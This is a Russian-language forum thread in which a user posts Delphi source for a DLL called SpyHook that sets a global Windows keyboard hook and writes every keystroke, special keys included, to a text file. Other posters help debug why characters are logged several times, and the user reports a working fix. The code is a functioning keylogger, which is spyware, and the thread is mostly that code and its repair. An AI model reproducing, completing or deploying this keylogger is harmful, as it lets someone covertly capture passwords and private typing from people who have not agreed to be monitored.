-
Библиотека перехвата нажатия клавиш клавиатуры и печать их файл. Вопрос почему набераемые символы записываются в текстовый файл по несколько раз. Что не так сделал? library SpyHook; uses Messages, Windows, SysUtils var HookHandle:hHook; ft:textfile; function KeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): integer; stdcall; var KeyState1: TKeyBoardState; AryChar: array[0..1] of Char; // Count: Integer;
begin // Result:=CallNextHookEx(HookHandle, code, wParam, lParam); if code < 0 then begin Result:=CallNextHookEx(HookHandle, code, wParam, lParam); Exit; end else // if byte(LParam shr 24)<$80 then if lParam and $40000000 = 0 then begin try append(ft); //(пробуем открыть файл для добавления) GetKeyboardState(KeyState1); ToAscii(wParam, lParam, KeyState1, AryChar, 0); case wParam of 27: write(ft,' <ESC>'); 18: write(ft,' <ALT>'); 17: write(ft,' <CTRL>'); 16: write(ft,' <SHIFT>'); 20: write(ft,' <Caps Lock>'); 8: write(ft,' <BackSpace>'); 46: write(ft, '<DEL>'); 45: write(ft, '<INS>'); 36: write(ft, '<HOME>'); 35: write(ft, '<END>'); 38: write(ft, '<UP>'); 40: write(ft, '<DOWN>'); 37: write(ft, '<LEFT>'); 39: write(ft, '<RIGHT>'); 112: write(ft, '<F1>'); 113: write(ft, '<F2>'); 114: write(ft, '<F3>'); 115: write(ft, '<F4>'); 116: write(ft, '<F5>'); 117: write(ft, '<F6>'); 118: write(ft, '<F7>'); 119: write(ft, '<F8>'); 120: write(ft, '<F9>'); 121: write(ft, '<F10>'); 122: write(ft, '<F11>'); 123: write(ft, '<F12>'); 91: write(ft, '<Winwows>'); 13: writeln(ft, ''); else write(ft,AryChar[0]); end; closefile(ft); except Result:=CallNextHookEx(HookHandle, code, wParam, lParam); exit; {если не получается - выход} end; end; Result:=CallNextHookEx(HookHandle, code, wParam, lParam); end; procedure SetHook; stdcall; {установка ловушки} begin HookHandle := SetWindowsHookEx(WH_KEYBOARD,KeyboardProc, hInstance, 0); end; procedure DelHook; stdcall; {удаление ловушки} begin UnhookWindowsHookEx(HookHandle); end;
exports SetHook, DelHook, SetHook2; begin assignFile (ft, 'C:\Keyhook.txt'); end.
-
Ты осознаешь, что после установки хука в системе одновременно существуют множество экземпляров этой DLL ?
И каждая из них вправе пытаться писать в файл, если система сочтет нужным вызвать ф-цию KeyboardProc..
-
Если честно, то не очень понял - каким образом в системе существует множество экземпляров. Но методом научного тыка угадал, что в нужно написать так: if (lParam and $40000000 = 0) and (Code = HC_ACTION) then вместо просто (lParam and $40000000 = 0) и это заработало.
Если не сложно скинь ссылку или коротенько о "одновременно существуют множество экземпляров этой DLL".
-
-
Спасибо!
|